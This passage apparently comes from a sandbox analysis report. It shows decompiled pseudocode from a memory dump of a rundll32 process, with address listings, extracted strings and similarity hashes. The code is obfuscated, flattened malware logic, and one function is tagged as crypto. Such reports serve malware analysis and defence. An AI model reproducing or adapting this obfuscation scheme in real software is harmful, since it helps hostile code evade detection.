				 *(_t519 + 0x38) =  *(_t519 + 0x38) ^ 0x97d28a85;
				 *(_t519 + 0x2c) = 0xd1cf29;
				_t502 = 0x3e;
				 *(_t519 + 0x40) =  *(_t519 + 0x2c) / _t502;
				 *(_t519 + 0x40) =  *(_t519 + 0x40) << 0xd;
				 *(_t519 + 0x40) =  *(_t519 + 0x40) ^ 0x6c49e001;
				 *(_t519 + 0x3c) = 0xff9611;
				_t503 = 0x63;
				 *(_t519 + 0xc0) =  *(_t519 + 0xc0) & 0x00000000;
				 *(_t519 + 0x3c) =  *(_t519 + 0x3c) * 0x7f;
				 *(_t519 + 0x3c) =  *(_t519 + 0x3c) / _t503;
				 *(_t519 + 0x3c) =  *(_t519 + 0x3c) ^ 0x50099277;
				 *(_t519 + 0x3c) =  *(_t519 + 0x3c) ^ 0x514e4dfe;
				 *(_t519 + 0x50) = 0x3de184;
				 *(_t519 + 0x50) =  *(_t519 + 0x50) >> 2;
				 *(_t519 + 0x50) =  *(_t519 + 0x50) + 0xffff2fce;
				 *(_t519 + 0x50) =  *(_t519 + 0x50) ^ 0x0003ff3b;
				 *(_t519 + 0x90) = 0x77f71a;
				_t504 = 0x3c;
				 *(_t519 + 0x90) =  *(_t519 + 0x90) / _t504;
				 *(_t519 + 0x90) =  *(_t519 + 0x90) ^ 0x0004d624;
				 *(_t519 + 0x88) = 0x5b743d;
				 *(_t519 + 0x88) =  *(_t519 + 0x88) << 0x10;
				 *(_t519 + 0x88) =  *(_t519 + 0x88) ^ 0x74355a82;
				 *(_t519 + 0x34) = 0xe12c80;
				_t505 = 0xa;
				 *(_t519 + 0x30) =  *(_t519 + 0x34) / _t505;
				 *(_t519 + 0x30) =  *(_t519 + 0x30) + 0xcede;
				 *(_t519 + 0x30) =  *(_t519 + 0x30) * 0x2e;
				 *(_t519 + 0x30) =  *(_t519 + 0x30) ^ 0x0433bfe9;
				 *(_t519 + 0x9c) = 0x668956;
				 *(_t519 + 0x9c) =  *(_t519 + 0x9c) + 0xdfbf;
				 *(_t519 + 0x9c) =  *(_t519 + 0x9c) ^ 0x006966d2;
				 *(_t519 + 0x5c) = 0xe0797f;
				 *(_t519 + 0x5c) =  *(_t519 + 0x5c) << 0xb;
				 *(_t519 + 0x5c) =  *(_t519 + 0x5c) + 0x792;
				 *(_t519 + 0x5c) =  *(_t519 + 0x5c) ^ 0x03c408b5;
				 *(_t519 + 0x94) = 0x2cb9ec;
				 *(_t519 + 0x94) =  *(_t519 + 0x94) << 1;
				 *(_t519 + 0x94) =  *(_t519 + 0x94) ^ 0x0056da08;
				 *(_t519 + 0x54) = 0xb473ed;
				 *(_t519 + 0x54) =  *(_t519 + 0x54) << 3;
				 *(_t519 + 0x54) =  *(_t519 + 0x54) << 7;
				 *(_t519 + 0x54) =  *(_t519 + 0x54) ^ 0xd1c9019b;
				 *(_t519 + 0x78) = 0x7893af;
				 *(_t519 + 0x78) =  *(_t519 + 0x78) >> 0xf;
				 *(_t519 + 0x78) =  *(_t519 + 0x78) ^ 0x000af05e;
				 *(_t519 + 0x34) = 0x57e3b4;
				 *(_t519 + 0x34) =  *(_t519 + 0x34) + 0x7b41;
				 *(_t519 + 0x34) =  *(_t519 + 0x34) << 2;
				 *(_t519 + 0x34) =  *(_t519 + 0x34) * 0x3b;
				 *(_t519 + 0x34) =  *(_t519 + 0x34) ^ 0x5175e1ca;
				 *(_t519 + 0xb4) = 0x71cc68;
				 *(_t519 + 0xb4) =  *(_t519 + 0xb4) >> 0x10;
				 *(_t519 + 0xb4) =  *(_t519 + 0xb4) ^ 0x000a18d6;
				 *(_t519 + 0x70) = 0xc69f37;
				 *(_t519 + 0x70) =  *(_t519 + 0x70) ^ 0x39085207;
				 *(_t519 + 0x70) =  *(_t519 + 0x70) ^ 0x39cd9f5f;
				 *(_t519 + 0x68) = 0x8d8351;
				 *(_t519 + 0x68) =  *(_t519 + 0x68) << 0xa;
				 *(_t519 + 0x68) =  *(_t519 + 0x68) ^ 0x3601aacb;
				 *(_t519 + 0x60) = 0x1f220d;
				 *(_t519 + 0x60) =  *(_t519 + 0x60) << 1;
				 *(_t519 + 0x60) =  *(_t519 + 0x60) << 0xf;
				 *(_t519 + 0x60) =  *(_t519 + 0x60) ^ 0x22021d61;
				 *(_t519 + 0x28) = 0xda4181;
				 *(_t519 + 0x28) =  *(_t519 + 0x28) >> 0xa;
				 *(_t519 + 0x28) =  *(_t519 + 0x28) << 3;
				 *(_t519 + 0x28) =  *(_t519 + 0x28) << 0xe;
				 *(_t519 + 0x28) =  *(_t519 + 0x28) ^ 0x6d2bb93e;
				 *(_t519 + 0x44) = 0x427bd7;
				 *(_t519 + 0x44) =  *(_t519 + 0x44) ^ 0xf3185e05;
				_t506 = 0x27;
				 *(_t519 + 0x48) =  *(_t519 + 0x44) / _t506;
				 *(_t519 + 0x48) =  *(_t519 + 0x48) ^ 0x063a1ee3;
				 *(_t519 + 0x28) = 0x76ad58;
				 *(_t519 + 0x28) =  *(_t519 + 0x28) << 8;
				 *(_t519 + 0x28) =  *(_t519 + 0x28) >> 0xd;
				 *(_t519 + 0x28) =  *(_t519 + 0x28) + 0x4185;
				 *(_t519 + 0x28) =  *(_t519 + 0x28) ^ 0x000900d9;
				 *(_t519 + 0x9c) = 0x6d02a7;
				 *(_t519 + 0x9c) =  *(_t519 + 0x9c) + 0xffff3f59;
				 *(_t519 + 0x9c) =  *(_t519 + 0x9c) ^ 0x00643710;
				 *(_t519 + 0x5c) = 0x9e292e;
				 *(_t519 + 0x5c) =  *(_t519 + 0x5c) >> 0xa;
				 *(_t519 + 0x5c) =  *(_t519 + 0x5c) >> 9;
				 *(_t519 + 0x5c) =  *(_t519 + 0x5c) ^ 0x000d2ad5;
				 *(_t519 + 0x30) = 0x525512;
				 *(_t519 + 0x30) =  *(_t519 + 0x30) >> 0x10;
				 *(_t519 + 0x30) =  *(_t519 + 0x30) + 0x8241;
				 *(_t519 + 0x30) =  *(_t519 + 0x30) << 0xb;
				 *(_t519 + 0x30) =  *(_t519 + 0x30) ^ 0x0415f352;
				 *(_t519 + 0xb4) = 0xd86550;
				 *(_t519 + 0xb4) =  *(_t519 + 0xb4) | 0xfc7c6ec2;
				 *(_t519 + 0xb4) =  *(_t519 + 0xb4) ^ 0xfcfa8e20;
				 *(_t519 + 0x94) = 0x9c395a;
				 *(_t519 + 0x94) =  *(_t519 + 0x94) + 0xffff98ae;
				 *(_t519 + 0x94) =  *(_t519 + 0x94) ^ 0x009b07b1;
				 *(_t519 + 0xac) = 0x9b621d;
				 *(_t519 + 0xac) =  *(_t519 + 0xac) >> 0x10;
				 *(_t519 + 0xac) =  *(_t519 + 0xac) ^ 0x000c83b8;
				 *(_t519 + 0x8c) = 0x722e8b;
				 *(_t519 + 0x8c) =  *(_t519 + 0x8c) ^ 0x6b751fb5;
				 *(_t519 + 0x8c) =  *(_t519 + 0x8c) ^ 0x6b0d0e28;
				 *(_t519 + 0x78) = 0x108c7e;
				 *(_t519 + 0x78) =  *(_t519 + 0x78) >> 0xa;
				 *(_t519 + 0x78) =  *(_t519 + 0x78) ^ 0x000b9526;
				 *(_t519 + 0x70) = 0x8bb686;
				 *(_t519 + 0x70) =  *(_t519 + 0x70) + 0xffff0220;
				 *(_t519 + 0x70) =  *(_t519 + 0x70) ^ 0x00893626;
				 *(_t519 + 0x54) = 0xd93d64;
				_t507 = 0x76;
				 *(_t519 + 0x54) =  *(_t519 + 0x54) / _t507;
				 *(_t519 + 0x54) =  *(_t519 + 0x54) >> 8;
				 *(_t519 + 0x54) =  *(_t519 + 0x54) ^ 0x00030f68;
				 *(_t519 + 0x18) = 0xbed62c;
				_t508 = 0x57;
				 *(_t519 + 0x14) =  *(_t519 + 0x18) / _t508;
				 *(_t519 + 0x14) =  *(_t519 + 0x14) >> 2;
				 *(_t519 + 0x14) =  *(_t519 + 0x14) + 0xffff7abc;
				 *(_t519 + 0x14) =  *(_t519 + 0x14) ^ 0x00074b5a;
				 *(_t519 + 0x7c) = 0x487a9a;
				 *(_t519 + 0x7c) =  *(_t519 + 0x7c) + 0xffff54a3;
				 *(_t519 + 0x7c) =  *(_t519 + 0x7c) ^ 0x0042e4b4;
				 *(_t519 + 0x20) = 0x1c1b74;
				_t509 = 0x43;
				_t498 = 0x79;
				 *(_t519 + 0x20) =  *(_t519 + 0x20) * 0x49;
				_t517 =  *((intOrPtr*)(_t519 + 0xb8));
				 *(_t519 + 0x20) =  *(_t519 + 0x20) / _t509;
				_t448 =  *((intOrPtr*)(_t519 + 0xb8));
				 *(_t519 + 0x20) =  *(_t519 + 0x20) / _t498;
				 *(_t519 + 0x20) =  *(_t519 + 0x20) ^ 0x0008b499;
				 *(_t519 + 0x40) = 0xd71c81;
				_t510 = 0x70;
				 *(_t519 + 0x40) =  *(_t519 + 0x40) / _t510;
				 *(_t519 + 0x40) =  *(_t519 + 0x40) << 6;
				 *(_t519 + 0x40) =  *(_t519 + 0x40) ^ 0x007c7ea3;
				 *(_t519 + 0x18) = 0x3b4cc1;
				_t511 = 0x52;
				 *(_t519 + 0x18) =  *(_t519 + 0x18) / _t511;
				 *(_t519 + 0x18) =  *(_t519 + 0x18) ^ 0x4b6318dd;
				 *(_t519 + 0x18) =  *(_t519 + 0x18) | 0xf0b9ef0e;
				 *(_t519 + 0x18) =  *(_t519 + 0x18) ^ 0xfbfdee8d;
				 *(_t519 + 0xac) = 0x302c67;
				 *(_t519 + 0xac) =  *(_t519 + 0xac) | 0x7c459a58;
				 *(_t519 + 0xac) =  *(_t519 + 0xac) ^ 0x7c784f92;
				 *(_t519 + 0x1c) = 0x855e2f;
				_t512 = 0x68;
				 *(_t519 + 0x1c) =  *(_t519 + 0x1c) * 0x27;
				_t499 =  *((intOrPtr*)(_t519 + 0xb8));
				 *(_t519 + 0x1c) =  *(_t519 + 0x1c) / _t498;
				 *(_t519 + 0x1c) =  *(_t519 + 0x1c) + 0xffff8b71;
				 *(_t519 + 0x1c) =  *(_t519 + 0x1c) ^ 0x002ab59d;
				 *(_t519 + 0x80) = 0x819a5a;
				 *(_t519 + 0x80) =  *(_t519 + 0x80) + 0x7300;
				 *(_t519 + 0x80) =  *(_t519 + 0x80) ^ 0x0088eb02;
				 *(_t519 + 0xa0) = 0xbda9b4;
				 *(_t519 + 0xa0) =  *(_t519 + 0xa0) * 0x30;
				 *(_t519 + 0xa0) =  *(_t519 + 0xa0) ^ 0x238f4d0b;
				 *(_t519 + 0x64) = 0xd17f8b;
				_t513 = 0x91b0b79;
				 *(_t519 + 0x64) =  *(_t519 + 0x64) / _t512;
				 *(_t519 + 0x64) =  *(_t519 + 0x64) * 0x3d;
				 *(_t519 + 0x64) =  *(_t519 + 0x64) ^ 0x0077eda8;
				 *(_t519 + 0xa4) = 0xf3ed5;
				 *(_t519 + 0xa4) =  *(_t519 + 0xa4) + 0xffff4c51;
				 *(_t519 + 0xa4) =  *(_t519 + 0xa4) ^ 0x000feadd;
				 *(_t519 + 0x10) = 0x774c3d;
				_t326 = _t519 + 0x10; // 0x774c3d
				 *(_t519 + 0x10) =  *_t326 * 0x54;
				 *(_t519 + 0x10) =  *(_t519 + 0x10) >> 0xf;
				 *(_t519 + 0x10) =  *(_t519 + 0x10) << 0xb;
				 *(_t519 + 0x10) =  *(_t519 + 0x10) ^ 0x027c8b91;
				while(_t450 != 0x46a0c6f) {
					if(_t450 == 0x5c9444b) {
						_t450 = 0x5ff3875;
						continue;
					}
					if(_t450 == 0x5ff3875) {
						E029C24AA(_t450,  *((intOrPtr*)(_t519 + 0x58)), __eflags, _t519 + 0xc8,  *(_t519 + 0x94),  *(_t519 + 0x88),  *(_t519 + 0x30));
						_t427 = E029D0F17( *(_t519 + 0xb4),  *((intOrPtr*)(_t519 + 0x74)), _t519 + 0xd8,  *((intOrPtr*)(_t519 + 0xa8)),  *(_t519 + 0x64));
						_t517 = _t427;
						_t519 = _t519 + 0x1c;
						_t450 = 0xfbe2d16;
						 *((short*)(_t427 - 2)) = 0;
						continue;
					}
					if(_t450 == 0x610333b) {
						_push(_t450);
						 *((intOrPtr*)(_t519 + 0xbc)) = 0x1000;
						_t499 = E029D6F53(0x1000);
						__eflags = _t499;
						_t450 =  !=  ? _t513 : 0x46a0c6f;
						continue;
					}
					if(_t450 == _t513) {
						_t433 = E029D302D( *((intOrPtr*)(_t519 + 0xbc)), _t450, _t450,  *(_t519 + 0x50),  *(_t519 + 0xc0), _t448,  *(_t519 + 0x78), _t499,  *(_t519 + 0x44),  *((intOrPtr*)(_t519 + 0xc4)), _t519 + 0xc4,  *(_t519 + 0x9c),  *(_t519 + 0x50),  *(_t519 + 0xac),  *(_t519 + 0x88));
						_t519 = _t519 + 0x38;
						__eflags = _t433;
						if(_t433 == 0) {
							_t434 =  *((intOrPtr*)(_t519 + 0xbc));
							L21:
							__eflags = _t434;
							if(__eflags == 0) {
								_t450 = _t513;
							} else {
								E029E2B52( *((intOrPtr*)(_t519 + 0x84)),  *(_t519 + 0x28),  *((intOrPtr*)( *0x29e5bdc + 0x20)),  *(_t519 + 0x44),  *(_t519 + 0x18));
								_t519 = _t519 + 0xc;
								_t450 = 0xb0a6665;
							}
							continue;
						}
						_t514 = _t499;
						while(1) {
							__eflags =  *((intOrPtr*)(_t514 + 4)) - 4;
							if( *((intOrPtr*)(_t514 + 4)) != 4) {
								goto L15;
							}
							L14:
							_t445 = E029D0207( *((intOrPtr*)(_t519 + 0x84)), _t517,  *(_t519 + 0x78), _t514 + 0xc,  *(_t519 + 0x54),  *(_t519 + 0x14));
							_t519 = _t519 + 0x10;
							__eflags = _t445;
							if(_t445 == 0) {
								_t434 = 1;
								 *((intOrPtr*)(_t519 + 0xbc)) = 1;
								L20:
								_t513 = 0x91b0b79;
								goto L21;
							}
							L15:
							_t443 =  *_t514;
							__eflags = _t443;
							if(_t443 == 0) {
								_t434 =  *((intOrPtr*)(_t519 + 0xbc));
								goto L20;
							}
							_t514 = _t514 + _t443;
							__eflags =  *((intOrPtr*)(_t514 + 4)) - 4;
							if( *((intOrPtr*)(_t514 + 4)) != 4) {
								goto L15;
							}
							goto L14;
						}
					}
					if(_t450 == 0xb0a6665) {
						E029CF699( *((intOrPtr*)(_t519 + 0xb8)), _t499,  *((intOrPtr*)(_t519 + 0x24)),  *((intOrPtr*)(_t519 + 0x84)),  *(_t519 + 0xa0));
						_t519 = _t519 + 0xc;
						_t450 = 0x46a0c6f;
						continue;
					}
					if(_t450 != 0xfbe2d16) {
						L28:
						__eflags = _t450 - 0x1ae21fb;
						if(__eflags != 0) {
							continue;
						}
						L29:
						__eflags = 0;
						return 0;
					}
					_t439 = E029D2D06(1,  *(_t519 + 0xa4),  *(_t519 + 0x5c), _t519 + 0xd0, _t450,  *(_t519 + 0x54),  *((intOrPtr*)(_t519 + 0xcc)),  *((intOrPtr*)(_t519 + 0x84)),  *(_t519 + 0x78), _t450,  *(_t519 + 0x68), 0x2000000,  *(_t519 + 0x3c) | 0x00000006);
					_t448 = _t439;
					_t519 = _t519 + 0x2c;
					if(_t439 == 0xffffffff) {
						goto L29;
					}
					_t450 = 0x610333b;
				}
				E029D9038( *(_t519 + 0x68),  *((intOrPtr*)(_t519 + 0xa8)), _t448,  *(_t519 + 0x10));
				_t450 = 0x1ae21fb;
				goto L28;
			}

0x029d13e1
0x029d13eb
0x029d13f3
0x029d13f8
0x029d1400
0x029d1408
0x029d141a
0x029d141f
0x029d1425
0x029d142a
0x029d1432
0x029d143f
0x029d1442
0x029d144a
0x029d1456
0x029d145a
0x029d1462
0x029d146a
0x029d1472
0x029d1477
0x029d147f
0x029d1487
0x029d1499
0x029d149e
0x029d14a7
0x029d14b2
0x029d14bd
0x029d14c5
0x029d14d0
0x029d14dc
0x029d14df
0x029d14e3
0x029d14f0
0x029d14f4
0x029d14fc
0x029d1507
0x029d1512
0x029d151d
0x029d1525
0x029d152a
0x029d1532
0x029d153a
0x029d1545
0x029d154c
0x029d1557
0x029d155f
0x029d1564
0x029d1569
0x029d1571
0x029d1579
0x029d157e
0x029d1586
0x029d158e
0x029d1596
0x029d15a0
0x029d15a4
0x029d15ac
0x029d15b7
0x029d15bf
0x029d15cc
0x029d15d4
0x029d15dc
0x029d15e4
0x029d15ec
0x029d15f1
0x029d15f9
0x029d1601
0x029d1605
0x029d160a
0x029d1612
0x029d161a
0x029d161f
0x029d1624
0x029d1629
0x029d1631
0x029d1639
0x029d1647
0x029d164c
0x029d1652
0x029d165a
0x029d1662
0x029d1667
0x029d166c
0x029d1674
0x029d167c
0x029d1687
0x029d1692
0x029d169d
0x029d16a5
0x029d16aa
0x029d16af
0x029d16b7
0x029d16bf
0x029d16c4
0x029d16cc
0x029d16d1
0x029d16d9
0x029d16e4
0x029d16ef
0x029d16fa
0x029d1705
0x029d1710
0x029d171b
0x029d1726
0x029d172e
0x029d1739
0x029d1744
0x029d174f
0x029d175a
0x029d1762
0x029d1767
0x029d176f
0x029d1777
0x029d177f
0x029d1787
0x029d1793
0x029d1798
0x029d179e
0x029d17a3
0x029d17ab
0x029d17b7
0x029d17ba
0x029d17be
0x029d17c3
0x029d17cb
0x029d17d3
0x029d17db
0x029d17e3
0x029d17ed
0x029d17fc
0x029d17ff
0x029d1800
0x029d180c
0x029d1813
0x029d181f
0x029d1826
0x029d182a
0x029d1832
0x029d1840
0x029d1845
0x029d1849
0x029d184e
0x029d1856
0x029d1864
0x029d1869
0x029d186d
0x029d1875
0x029d187d
0x029d1885
0x029d1890
0x029d189b
0x029d18a6
0x029d18b5
0x029d18b6
0x029d18c2
0x029d18c9
0x029d18cd
0x029d18d5
0x029d18dd
0x029d18e8
0x029d18f3
0x029d18fe
0x029d1911
0x029d1918
0x029d1923
0x029d1931
0x029d1936
0x029d193f
0x029d1943
0x029d194b
0x029d1956
0x029d1961
0x029d196c
0x029d1974
0x029d1979
0x029d197d
0x029d1982
0x029d1987
0x029d198f
0x029d19a1
0x029d1bd1
0x00000000
0x029d1bd1
0x029d19ad
0x029d1b94
0x029d1bb7
0x029d1bbc
0x029d1bbe
0x029d1bc3
0x029d1bc8
0x00000000
0x029d1bc8
0x029d19b9
0x029d1b53
0x029d1b54
0x029d1b64
0x029d1b67
0x029d1b6e
0x00000000
0x029d1b6e
0x029d19c1
0x029d1aaa
0x029d1aaf
0x029d1ab2
0x029d1ab4
0x029d1af9
0x029d1b0e
0x029d1b0e
0x029d1b10
0x029d1b3f
0x029d1b12
0x029d1b2d
0x029d1b32
0x029d1b35
0x029d1b35
0x00000000
0x029d1b10
0x029d1ab6
0x029d1ab8
0x029d1ab8
0x029d1abc
0x00000000
0x00000000
0x029d1abe
0x029d1ad7
0x029d1adc
0x029d1adf
0x029d1ae1
0x029d1aef
0x029d1af0
0x029d1b09
0x029d1b09
0x00000000
0x029d1b09
0x029d1ae3
0x029d1ae3
0x029d1ae5
0x029d1ae7
0x029d1b02
0x00000000
0x029d1b02
0x029d1ae9
0x029d1ab8
0x029d1abc
0x00000000
0x00000000
0x00000000
0x029d1abc
0x029d1ab8
0x029d19cd
0x029d1a52
0x029d1a57
0x029d1a5a
0x00000000
0x029d1a5a
0x029d19d5
0x029d1bf7
0x029d1bf7
0x029d1bfd
0x00000000
0x00000000
0x029d1c03
0x029d1c06
0x029d1c0f
0x029d1c0f
0x029d1a1a
0x029d1a1f
0x029d1a21
0x029d1a27
0x00000000
0x00000000
0x029d1a2d
0x029d1a2d
0x029d1beb
0x029d1bf2
0x00000000

Strings

=t[, xrefs: 029D14B2
A{, xrefs: 029D158E
g,0, xrefs: 029D1885
=Lw, xrefs: 029D1974

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: =Lw$=t[$A{$g,0
API String ID: 0-3102551745
Opcode ID: 9194bcb333d509228afa890db63012ea095a6bd0167d247e2a7e7dc914a7d715
Instruction ID: 876f1a64597fa529727304f2c0d8772c16caa475ab619366783bd0272620eb8a
Opcode Fuzzy Hash: 9194bcb333d509228afa890db63012ea095a6bd0167d247e2a7e7dc914a7d715
Instruction Fuzzy Hash: F71211725083809FD368CF65C589A9BFBE2FBC4758F10891DE2DA86260D7B48949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029DC145, Relevance: 5.2, Strings: 4, Instructions: 222
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E029DC145() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				unsigned int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				signed int _t237;
				short _t239;
				signed int _t244;
				void* _t247;
				void* _t249;
				void* _t251;
				void* _t267;
				short* _t268;
				void* _t269;
				short* _t270;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				void* _t277;

				_v100 = _v100 & 0x00000000;
				_v96 = _v96 & 0x00000000;
				_t247 = 0x29c2893;
				_v108 = 0x262a2e;
				_v104 = 0xc11dcd;
				_v68 = 0xb59d03;
				_t267 =  *0x29e5bd8 + 0x30;
				_v68 = _v68 + 0x8775;
				_v68 = _v68 ^ 0x4e030a7e;
				_v68 = _v68 ^ 0x4eb84a81;
				_v44 = 0x6b5aa2;
				_v44 = _v44 ^ 0xb3b9d6ae;
				_v44 = _v44 ^ 0xeb1e5f83;
				_v44 = _v44 + 0xffffd7bf;
				_v44 = _v44 ^ 0x58c9b81b;
				_v12 = 0xdb027f;
				_v12 = _v12 + 0xb36b;
				_v12 = _v12 + 0xffffdf8d;
				_v12 = _v12 << 4;
				_v12 = _v12 ^ 0x0db472b2;
				_v48 = 0xc7da55;
				_v48 = _v48 + 0x9be8;
				_v48 = _v48 << 3;
				_v48 = _v48 ^ 0x06485993;
				_v84 = 0xfabd0b;
				_t271 = 0x30;
				_v84 = _v84 / _t271;
				_v84 = _v84 ^ 0x000a932f;
				_v8 = 0x8a15a8;
				_v8 = _v8 + 0xafa8;
				_v8 = _v8 | 0x473bbe54;
				_v8 = _v8 ^ 0x399cf26d;
				_v8 = _v8 ^ 0x7e2b9ce6;
				_v56 = 0x49a51a;
				_v56 = _v56 + 0xf225;
				_v56 = _v56 + 0xffffacad;
				_v56 = _v56 ^ 0x004dec2b;
				_v16 = 0xc9a1b9;
				_v16 = _v16 + 0xea3f;
				_v16 = _v16 + 0xffff6481;
				_v16 = _v16 << 4;
				_v16 = _v16 ^ 0x0c9db475;
				_v52 = 0x887d9f;
				_v52 = _v52 ^ 0xee545c59;
				_v52 = _v52 >> 3;
				_v52 = _v52 ^ 0x1ddda6c0;
				_v60 = 0x3ed0c2;
				_v60 = _v60 + 0xffff753b;
				_v60 = _v60 + 0xffff12aa;
				_v60 = _v60 ^ 0x003df832;
				_v24 = 0x7186bd;
				_t272 = 0x27;
				_v24 = _v24 / _t272;
				_v24 = _v24 ^ 0xaf59f3dd;
				_v24 = _v24 + 0xf3dc;
				_v24 = _v24 ^ 0xaf5867a0;
				_v20 = 0x1bb7df;
				_v20 = _v20 + 0x5c5e;
				_v20 = _v20 ^ 0x0c735ffa;
				_v20 = _v20 ^ 0x0be9a270;
				_v20 = _v20 ^ 0x078ec18c;
				_v88 = 0x61b518;
				_v88 = _v88 * 0x24;
				_v88 = _v88 ^ 0x0db13037;
				_v64 = 0x47b169;
				_v64 = _v64 | 0x7cf7dafa;
				_v64 = _v64 ^ 0x7cfae993;
				_v32 = 0xbf932f;
				_v32 = _v32 << 0xc;
				_v32 = _v32 | 0x0775caee;
				_v32 = _v32 >> 0xd;
				_v32 = _v32 ^ 0x0007d449;
				_v28 = 0xc78c2a;
				_v28 = _v28 + 0x2cb8;
				_v28 = _v28 | 0x8e3fa1f1;
				_t273 = 0x51;
				_v28 = _v28 * 0x2e;
				_v28 = _v28 ^ 0xb1f4255f;
				_v40 = 0x545f75;
				_v40 = _v40 * 0x79;
				_v40 = _v40 | 0x6d419e3e;
				_v40 = _v40 + 0xfffffaae;
				_v40 = _v40 ^ 0x6feec54f;
				_v92 = 0xd8bf4e;
				_v92 = _v92 / _t273;
				_v92 = _v92 ^ 0x00052a68;
				_v36 = 0xcdca99;
				_v36 = _v36 >> 6;
				_v36 = _v36 >> 7;
				_v36 = _v36 << 0xd;
				_v36 = _v36 ^ 0x00cdb2f0;
				_v80 = 0xa17706;
				_t274 = 0x4b;
				_v80 = _v80 / _t274;
				_v80 = _v80 + 0xffff319d;
				_v80 = _v80 ^ 0x000bf82a;
				_v76 = 0x10a372;
				_v76 = _v76 * 0x63;
				_v76 = _v76 << 0xd;
				_v76 = _v76 ^ 0xe6aebaf0;
				_v72 = 0x67b245;
				_v72 = _v72 + 0xffff7450;
				_v72 = _v72 ^ 0x32ab6e66;
				_v72 = _v72 ^ 0x32c30daf;
				do {
					while(_t247 != 0x29c2893) {
						if(_t247 == 0x3bbcc8b) {
							_push(_t267);
							_push(_v72);
							_push(3);
							_push(1);
							E029D8601(_v80, _v76);
							 *((short*)(_t267 + 6)) = 0;
							return 0;
						}
						if(_t247 == 0x8efd1e4) {
							_push(_t247);
							_push(4);
							_push(_t247);
							_push(_t247);
							_t249 = 0x10;
							_t237 = E029D2CCF(_t249);
							_push(_t267);
							_push(_v36);
							_t275 = _t237;
							_push(_t275);
							_push(1);
							E029D8601(_v40, _v92);
							_t277 = _t277 + 0x20;
							_t268 = _t267 + _t275 * 2;
							_t247 = 0x3bbcc8b;
							_t239 = 0x2e;
							 *_t268 = _t239;
							_t267 = _t268 + 2;
							continue;
						}
						if(_t247 != 0xc69df53) {
							goto L8;
						}
						_push(_t247);
						_push(4);
						_push(_t247);
						_push(_t247);
						_t251 = 0x10;
						_t244 = E029D2CCF(_t251);
						_push(_t267);
						_push(_v52);
						_t276 = _t244;
						_push(1);
						_push(2);
						E029D8601(_v56, _v16);
						_t269 = _t267 + 2;
						_push(_t269);
						_push(_v20);
						_push(_t276);
						_push(1);
						E029D8601(_v60, _v24);
						_t277 = _t277 + 0x30;
						_t270 = _t269 + _t276 * 2;
						_t247 = 0x8efd1e4;
						_t239 = 0x5c;
						 *_t270 = _t239;
						_t267 = _t270 + 2;
					}
					E029CC52A();
					_t247 = 0xc69df53;
					L8:
				} while (_t247 != 0xcc5bad9);
				return _t239;
			}

0x029dc14b
0x029dc151
0x029dc155
0x029dc15a
0x029dc161
0x029dc170
0x029dc177
0x029dc17a
0x029dc181
0x029dc188
0x029dc18f
0x029dc196
0x029dc19d
0x029dc1a4
0x029dc1ab
0x029dc1b2
0x029dc1b9
0x029dc1c0
0x029dc1c7
0x029dc1cb
0x029dc1d2
0x029dc1d9
0x029dc1e0
0x029dc1e4
0x029dc1eb
0x029dc1f7
0x029dc1fc
0x029dc201
0x029dc208
0x029dc20f
0x029dc216
0x029dc21d
0x029dc224
0x029dc22b
0x029dc232
0x029dc239
0x029dc240
0x029dc247
0x029dc24e
0x029dc255
0x029dc25c
0x029dc260
0x029dc267
0x029dc26e
0x029dc275
0x029dc279
0x029dc280
0x029dc287
0x029dc28e
0x029dc295
0x029dc29c
0x029dc2a6
0x029dc2a9
0x029dc2ac
0x029dc2b3
0x029dc2ba
0x029dc2c1
0x029dc2c8
0x029dc2cf
0x029dc2d6
0x029dc2dd
0x029dc2e4
0x029dc2ef
0x029dc2f2
0x029dc2f9
0x029dc300
0x029dc307
0x029dc30e
0x029dc315
0x029dc319
0x029dc322
0x029dc326
0x029dc32d
0x029dc334
0x029dc33b
0x029dc348
0x029dc34b
0x029dc34e
0x029dc355
0x029dc360
0x029dc363
0x029dc36a
0x029dc371
0x029dc378
0x029dc386
0x029dc389
0x029dc390
0x029dc397
0x029dc39b
0x029dc39f
0x029dc3a3
0x029dc3aa
0x029dc3b4
0x029dc3b7
0x029dc3ba
0x029dc3c1
0x029dc3c8
0x029dc3d3
0x029dc3d6
0x029dc3da
0x029dc3e1
0x029dc3e8
0x029dc3ef
0x029dc3f6
0x029dc3fd
0x029dc3fd
0x029dc40f
0x029dc4e9
0x029dc4ea
0x029dc4f3
0x029dc4f5
0x029dc4f7
0x029dc501
0x00000000
0x029dc501
0x029dc41b
0x029dc491
0x029dc492
0x029dc494
0x029dc495
0x029dc498
0x029dc499
0x029dc49e
0x029dc49f
0x029dc4a5
0x029dc4aa
0x029dc4ab
0x029dc4ad
0x029dc4b2
0x029dc4b5
0x029dc4b8
0x029dc4bf
0x029dc4c0
0x029dc4c3
0x00000000
0x029dc4c3
0x029dc423
0x00000000
0x00000000
0x029dc435
0x029dc436
0x029dc438
0x029dc439
0x029dc43c
0x029dc43d
0x029dc442
0x029dc443
0x029dc449
0x029dc44e
0x029dc450
0x029dc452
0x029dc457
0x029dc45a
0x029dc45b
0x029dc464
0x029dc465
0x029dc467
0x029dc46c
0x029dc46f
0x029dc472
0x029dc479
0x029dc47a
0x029dc47d
0x029dc47d
0x029dc4d1
0x029dc4d6
0x029dc4db
0x029dc4db
0x00000000

Strings

.*&, xrefs: 029DC15A
+M, xrefs: 029DC240
u_T, xrefs: 029DC355
Y\T, xrefs: 029DC26E

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
